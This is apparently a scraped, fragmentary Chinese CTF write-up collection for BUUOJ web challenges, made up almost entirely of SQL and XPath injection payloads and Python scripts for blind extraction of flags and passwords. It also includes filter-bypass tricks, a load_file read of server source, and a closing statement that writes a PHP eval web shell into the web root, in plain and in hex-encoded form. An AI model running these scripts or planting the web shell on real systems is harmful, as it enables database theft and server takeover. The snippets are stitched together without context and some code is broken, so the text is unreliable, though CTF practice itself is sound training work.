1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
用 1′ or ‘1’=’1 访问一下
方法二
使用MySQL预处理语句绕过过滤。
我们进行构造这个语句:
1 2 3
set @a=concat("sel","ect flag from `1919810931114514`"); prepare sql from @a execute sql;
payload:
1
1';set @a=concat("sel","ect flag from `1919810931114514`");prepare sql from @a;execute sql;#
大小写绕过:
1
1';sEt @a=concat("sel","ect flag from `1919810931114514`");Prepare hello from @a;execute hello;#
url = 'http://a9475c38-821c-4b23-aa96-87730f0863fe.node3.buuoj.cn/index.php' flag = 'Hello, glzjin wants a girlfriend.' result = ''
for i in range(1, 50): sleep(1) high = 127 low = 32 mid = (high + low) // 2 while high > low: payload = "if(ascii(substr((select(flag)from(flag)),{index},1))>{char},1,2)".format(index=i, char=mid) data = {'id': payload} response = requests.post(url=url, data=data) if flag in response.text: low = mid + 1 else: high = mid mid = (high + low) // 2
继续base64解密:select * from user where username = '$name'
1 2 3 4 5
name=1' or 1=1#&pw=1 // wrong user! >>> do not hack me! // or和=被过滤了 name=1' Or 1#&pw=1 // 大小写直接绕过了 name=1' Or 1 Order by 4#&pw=1 >>> Error: Unknown column '4' in 'order clause' //可以知道有三个column
URL = "http://acbcc15b-d8f2-48b3-9c67-3b16b465068f.node3.buuoj.cn/index.php" flag = "Nu1L" result = "" target = "select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()"
for i in range(1, 50): sleep(0.1) low = 32 high = 127 while high > low: mid = (high + low) >> 1 payload = "2||ascii(substr(({}),{},1))>{}" data = { 'id': payload.format(target, i, mid) } response = requests.post(url=URL, data=data) if flag in response.text: low = mid + 1 else: high = mid
if low != 32: result += chr(low) else: break print(result)
URL = "http://98ef5288-1d34-4680-a03c-1aa5f5fbfaad.node3.buuoj.cn/index.php" flag = "Nu1L" result = "" payload = "2||(select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)"
for i in range(1,200): for j in range(32, 127): sleep(0.1) char = result + chr(j) data={ 'id': payload.format(char) } response = requests.post(URL, data=data) if flag in response.text: result += chr(j - 1) print(result) break;
for i in range(100): for m in strs: time.sleep(0.3) data = { "username": '\\', "passwd": '||/**/passwd/**/regexp/**/"^{}";{}'.format(passwd+m, parse.unquote('%00')) } res = requests.post(url, data) if res.status_code == 404: passwd += m print(passwd) break print(passwd)
defmain(): url = '''http://71c8375e-74ff-45aa-a2ee-8670864f6b0b.node3.buuoj.cn/index.php?r=Login/Login''' payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -" flag = '' for i in range(1, 30): # payload = "select if(ascii(substr((select database()),{0},1))={1},sleep(3),1)" # payload = "select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{0},1))={1},sleep(3),1)" # payload = "select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{0},1))={1},sleep(3),1)" payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)" for j in range(0, 128): time.sleep(0.1) datas = {'username': payloads.format(str_to_hex(payload.format(i, j))), 'password': 'test213'} data = json.dumps(datas) times = time.time() res = requests.post(url=url, data=data) if time.time() - times >= 3: flag = flag + chr(j) print(flag) break
defstr_to_hex(s): return''.join([hex(ord(c)).replace('0x', '') for c in s])
Notice: Trying to get property of non-object in /var/www/html/view.php on line 53
看一下有没有sql注入,手工注失败了,有waf。
看了一下师傅们的wp,发现是waf把union select给过滤了,用/**/内联注释来绕过。
1 2 3 4 5 6
#爆表 no=-1+union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #爆列 no=-1+union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() #爆列data的内容 no=-1+union/**/select 1,group_concat(data),3,4 from users
data里的内容就是我们之前注册用户的序列化数据,报错信息暗示我们需要构造一个序列化对象
1
unserialize(): Error at offset 0 of 1 bytes in <b>/var/www/html/view.php</b> on line 31
url = 'http://2cfb1e37-5400-4888-895d-bd5db365a250.node3.buuoj.cn/index.php' data = { 'username': 'admin\\', 'password': '' } flag = 'BJD needs to be stronger' result = ''
for i in range(1, 50): sleep(0.5) high = 127 low = 32 while high > low: mid = (high + low) // 2 payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#" % (i, mid) data['password'] = payload
rs = requests.post(url=url, data=data)
if flag in rs.text: low = mid + 1 else: high = mid
if low != 32: result += chr(low) else: break print(result)
url = "http://143e2c2b-3448-4468-aeee-95cd35c73be0.node3.buuoj.cn/image.php?id=\\0&path=" #payload = "or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},1,0)%23" #payload = "or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{0},1))>{1},1,0)%23" #payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23" payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23" flag = "JFIF" result = ""
for i in range(1, 100): sleep(0.5) low = 32 high = 127 while high > low: mid = (high + low) >> 1 response = requests.get(url + payload.format(i, mid)) if flag in response.text: low = mid + 1 else: high = mid
if low != 32: result += chr(low) else: break print(result)
url = "http://a55db98c-72b1-40e8-b771-61b1bc60cd9d.node3.buuoj.cn/?stunum=" flag = "Hi admin, your score is: 100" result = ""
for i in range(1, 100): low = 32 high = 127 while high > low: mid = (high + low) >> 1 #payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),{0},1))>{1},1,0)" #payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{0},1))>{1},1,0)" payload = "if(ascii(substr((select(group_concat(flag,0x3a,value))from(flag)),{0},1))>{1},1,0)" response = requests.post(url+payload.format(i, mid)) if flag in response.text: low = mid + 1 else: high = mid
if low != 32: result += chr(low) else: break print(result)
# 这个head头好像必须加cookie head = { "X-Forwarded-For": "", "Cookie": "track_uuid=60661451-cdab-4a74-95b4-74d6a66945a9" }
# #查库名 # payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"
# #查表名 # payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"
# #查列名 # payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"
# 查flag payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"
flag = ""
for i in range(1, 1000): low = 32 high = 137 mid = (low + high) // 2
for i in range(50): for j in strs: r = sess.post(url=url) token = find.findall(r.text) time.sleep(1) if token: # 根节点root # data = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i, j, token[0]) # root子节点accounts # data = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format( # accounts子节点user # data = "<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format( # user子节点id, username, password # data = "<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format( # data = "<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format( data = "<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format( i, j, token[0]) res = sess.get(url=url, headers=headers, data=data) if'非法操作'in res.text: result += j print(result) break
for _ in range(50): for i in range(33, 128): c = chr(i) time.sleep(0.3) _url = url + payload.format(flag+hex(c)) res = r.get(url=_url, cookies=cookies) # print(res.text) if'admin'in res.text: data += chr(i-1) flag += hex(chr(i-1)) print(data) break print(data)
for i in range(9999): for i in range(32,127): _url = url + '^(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))<'+data+str(hex(i)).replace('0x','')+')' result=r.get(url=url,cookies=cookies) if'admin'in result.text: data+=str(hex(i-1)).replace('0x','') flag+=(chr(i-1)) print (flag) break print(data)
SELECT '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/favicon/shell.php'
1
set @xx=0x53454c45435420273c3f70687020406576616c28245f504f53545b615d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e70687027;prepare x from @xx;execute x;